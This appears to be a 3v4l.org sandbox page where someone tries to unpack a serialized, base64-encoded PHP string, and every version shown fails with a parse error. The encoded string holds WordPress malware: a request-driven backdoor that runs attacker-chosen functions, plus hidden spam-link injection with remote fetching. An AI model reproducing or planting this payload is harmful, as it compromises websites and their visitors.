3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php echo str_replace( '\', '', 's:2912:\"a:7:{i:0;s:2462:\"eval(base64_decode(\"DQppZighZnVuY3Rpb25fZXhpc3RzKCdnZXRjMzMnKSBhbmQgIWZ1bmN0aW9uX2V4aXN0cygnYWRkX2xpbmtzJykpIHsNCglAaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLCAJTlVMTCk7DQoJQGluaV9zZXQoJ2Vycm9yX3JlcG9ydGluZycsIE5VTEwpOw0KCUBpbmlfc2V0KCdsb2dfZXJyb3JzJywJCU5VTEwpOw0KDQoJaWYoQG1kNSgkX1NFUlZFUlsnSFRUUF9QQVRIJ10pPT09Ijg5Y2UzNmY5YzM1NzllYzJhYWExMWYwMTY4Y2I0ODc4Iikgew0KCQlAZXh0cmFjdCgkX1JFUVVFU1QpOyBAZGllKCRjaWQoJGVpZCkpOw0KCX0NCglpZihpc191c2VyX2xvZ2dlZF9pbigpIHx8IGlzXzQwNCgpKSByZXR1cm4gZmFsc2U7DQoNCglmdW5jdGlvbiBhZGRfbGlua3MxKCRjb250ZW50KSB7DQoJCWlmKGRlZmluZWQoJ0FMUkVBRFlfRE9ORScpKSByZXR1cm4gJGNvbnRlbnQ7DQoJCWRlZmluZShBTFJFQURZX0RPTkUsICcxJyk7DQoJCWlmIChpc3NldCgkX1JFUVVFU1RbImNoZWNrIl0pKSB7DQoJCQkkY29udGVudCAuPSAiPCEtLSBjaGVjayAtLT4iOw0KCQl9IGVsc2UgLyppZiAoJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ109PScvJyB8fCAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXT09Jy9pbmRleC5waHAnKSovew0KCQkJJGxpbmtzVGV4dCAgPSBzdHJfcm90MTMoaW1wbG9kZSh1bnNlcmlhbGl6ZShnZXRfb3B0aW9uKCJjb21tZW50c192aXNpdG9yIikpKSk7DQoJCQlpZiAoIXByZWdfbWF0Y2goIi88ZGl2L2kiLCAkbGlua3N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saW5rczEoKTsNCgl9DQoJZnVuY3Rpb24gZ2V0YzMzKCR1cmwsICRjb250ZW50ID0gJycpIHsNCgkJQGluaV9zZXQoJ2RlZmF1bHRfc29ja2V0X3RpbWVvdXQnLCAyKTsNCgkJQHN0cmVhbV9zZXRfdGltZW91dCgkZnAsIDIpOw0KDQoJCWlmKGZ1bmN0aW9uX2V4aXN0cygnd3BfcmVtb3RlX2dldCcpKSB7DQoJCQkkcmVxdWVzdCA9IEB3cF9yZW1vdGVfZ2V0KCR1cmwsIGFycmF5KCd0aW1lb3V0Jz0+MikpOw0KCQkJaWYoIWlzX3dwX2Vycm9yKCRyZXF1ZXN0KSkgcmV0dXJuICRyZXF1ZXN0Wy\";i:1;s:282:\"dib2R5J107DQoJCX0NCg0KCQlpZihpbmlfZ2V0KCdhbGxvd191cmxfZm9wZW4nKT09MSYmZnVuY3Rpb25fZXhpc3RzKCdmaWxlX2dldF9jb250ZW50cycpKQ0KCQkJaWYoZmFsc2UgIT09KCRjb250ZW50PUBmaWxlX2dldF9jb250ZW50cygkdXJsKSkpIHJldHVybiAkY29udGVudDsNCgkJcmV0dXJuIGZhbHNlOw0KCX0JDQoJYWRkX2ZpbHRlcigndGhlX2NvbnRlbnQnLCdh\";i:2;s:63:\"ZGRfbGlua3MxJyk7DQoJYWRkX2ZpbHRlcignd3BfZm9vdGVyJywnYWRkX2xpbmt\";i:3;s:7:\"zJyk7DQ\";i:4;s:1:\"p\";i:5;s:7:\"9DQo=\")\";i:6;s:1:\")\";}\";' );
based on W2hEP
Output for 7.0.0 - 7.0.1
Parse error: syntax error, unexpected '', '' (T_CONSTANT_ENCAPSED_STRING), expecting ',' or ')' in /in/OoHpD on line 3
Process exited with code 255.
Output for 5.4.11 - 5.6.16
Parse error: syntax error, unexpected '', '' (T_CONSTANT_ENCAPSED_STRING) in /in/OoHpD on line 3
Process exited with code 255.
Output for 5.3.21 - 5.3.29
Parse error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING in /in/OoHpD on line 3
Process exited with code 255.